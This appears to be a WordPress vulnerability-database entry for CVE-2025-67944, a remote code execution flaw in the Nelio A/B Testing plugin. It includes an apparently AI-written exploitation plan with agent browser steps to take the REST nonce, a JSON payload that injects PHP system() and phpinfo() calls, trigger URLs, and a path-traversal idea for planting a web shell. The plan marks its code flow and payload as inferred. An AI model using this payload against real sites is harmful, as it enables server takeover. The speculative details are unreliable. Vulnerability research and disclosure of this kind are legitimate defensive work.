Nelio AB Testing <= 8.1.8 - Authenticated (Editor+) Remote Code Execution
Description
The Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.1.8. This makes it possible for authenticated attackers, with Editor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=8.1.8Source Code
WordPress.org SVNThis research plan targets **CVE-2025-67944**, a Remote Code Execution (RCE) vulnerability in the Nelio A/B Testing plugin. The vulnerability allows users with Editor-level permissions or higher to execute arbitrary PHP code due to improper handling of "alternatives" or settings that are subsequentl…
Show full research plan
This research plan targets CVE-2025-67944, a Remote Code Execution (RCE) vulnerability in the Nelio A/B Testing plugin. The vulnerability allows users with Editor-level permissions or higher to execute arbitrary PHP code due to improper handling of "alternatives" or settings that are subsequently evaluated or executed on the server.
1. Vulnerability Summary
The Nelio A/B Testing plugin provides a complex UI (often React-based) for creating marketing experiments. The vulnerability arises because the plugin allows Editors to save content for experiment "alternatives" (like Custom HTML or scripts) which is incorrectly processed on the server side. Specifically, user-supplied input is passed to a sink that executes code (such as eval() or writing to a .php file that is later include'd) without sufficient sanitization or a check for the unfiltered_html capability (which Editors have, but which should not normally grant RCE).
2. Attack Vector Analysis
- Endpoint: WordPress REST API or AJAX. Nelio heavily uses the REST API for its experiment editor.
- Vulnerable Route:
/wp-json/nelio-ab-testing/v1/tests(or a similar sub-route for variants/alternatives). - HTTP Method:
POSTorPUT. - Payload Parameter: Likely within the
alternativesarray, specifically in acontent,css, orjsfield that the server-side rendering engine treats as PHP. - Authentication: Authenticated, Editor-level access (
PR:Hin CVSS, but "Editor" in WordPress context). - Preconditions: The Nelio A/B Testing plugin must be active.
3. Code Flow (Inferred)
- Entry Point: The REST API controller (e.g.,
Nelio_AB_Testing_Tests_Controller) receives a request to create or update an experiment. - Validation: The
update_item_permissions_checkorcreate_item_permissions_checkverifies the user has theedit_postscapability (standard for Editors), but fails to restrict "code-heavy" alternatives to Administrators only. - Data Processing: The controller passes the experiment data to a handler (e.g.,
Nelio_AB_Testing_Server::save_test). - The Sink:
- Possibility A: The plugin saves "Custom HTML" alternatives into a cache directory as
.phpfiles to allow for server-side processing/includes during the A/B test split. - Possibility B: The plugin uses a templating engine or a custom function that calls
eval()on a specific field within the test configuration.
- Possibility A: The plugin saves "Custom HTML" alternatives into a cache directory as
- Trigger: The code is executed when the test is previewed or when the experiment page is visited on the frontend.
4. Nonce Acquisition Strategy
Nelio A/B Testing uses the standard WordPress REST API nonce.
- Identify Trigger: The Nelio dashboard loads on pages with the slug
page=nelio-ab-testing. - Navigation: Log in as an Editor and navigate to
/wp-admin/admin.php?page=nelio-ab-testing. - Extraction: The REST nonce is typically localized in the
nabSettingsornelioAbTestingJavaScript object. - Execution Agent Steps:
browser_navigate("/wp-admin/admin.php?page=nelio-ab-testing")browser_eval("window.nabSettings?.nonce || window.nelioAbTestingData?.nonce")- Note: If not found there, check for the standard
wp_restnonce localized by WordPress:browser_eval("wpApiSettings.nonce").
5. Exploitation Strategy
The goal is to inject PHP code into a test alternative that the plugin will execute.
Step 1: Discover existing tests or create a draft
- Request:
GET /wp-json/nelio-ab-testing/v1/tests - Header:
X-WP-Nonce: [NONCE]
Step 2: Inject RCE Payload
Create a new "Page" test with a malicious alternative.
- Request:
POST /wp-json/nelio-ab-testing/v1/tests - Header:
Content-Type: application/json,X-WP-Nonce: [NONCE] - Payload (Inferred):
(Note: If "content" doesn't work, try fields like "css" or "js" or specific "metadata" fields used for server-side hooks.){ "title": "Exploit Test", "type": "post", "status": "draft", "alternatives": [ { "name": "Control", "is_control": true }, { "name": "RCE Variant", "content": "<?php system('id > /tmp/rce.txt'); phpinfo(); ?>", "type": "html" } ] }
Step 3: Trigger Execution
The code might execute during a "Preview" action or when the test is "started".
- Attempt to preview the variant:
GET /?nab=[VARIANT_ID]orGET /?nelio_ab_preview=[TEST_ID].
6. Test Data Setup
- User: Create a user with the Editor role.
- Content: Create at least one published Page.
- Plugin Config: Ensure Nelio A/B Testing is activated and the initial setup (if any) is bypassed or completed via
wp option update.
7. Expected Results
- REST Response: The server returns
201 Createdor200 OK, confirming the payload is saved in the database. - Execution: Upon visiting the trigger URL (preview or frontend), the system command
idexecutes. - Output: The response contains the output of
phpinfo()or theidcommand if the sink is anevalthat echoes, or a file/tmp/rce.txtis created if the sink is a file write.
8. Verification Steps
- File Check:
wp eval "echo file_exists('/tmp/rce.txt') ? 'VULNERABLE' : 'FAILED';" - Database Check:
wp post list --post_type=nab_test(Verify the malicious test exists). - Log Check: Check the PHP error logs for any execution errors that reveal the path of the executed code.
9. Alternative Approaches
- Option Injection: If the RCE is via settings, try
POST /wp-json/nelio-ab-testing/v1/settingswith a payload injecting into a "Global Scripts" field. - Path Traversal + Injection: Check if the
alternativesallow specifying a filename. If the plugin writes to.../nelio-ab-testing/cache/[ID].php, try to name the variant../../uploads/shell. - Action/Filter Hook Injection: Some Nelio versions allow adding custom "Hooks". If these hooks allow raw PHP, target the REST endpoint responsible for saving experiment hooks.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.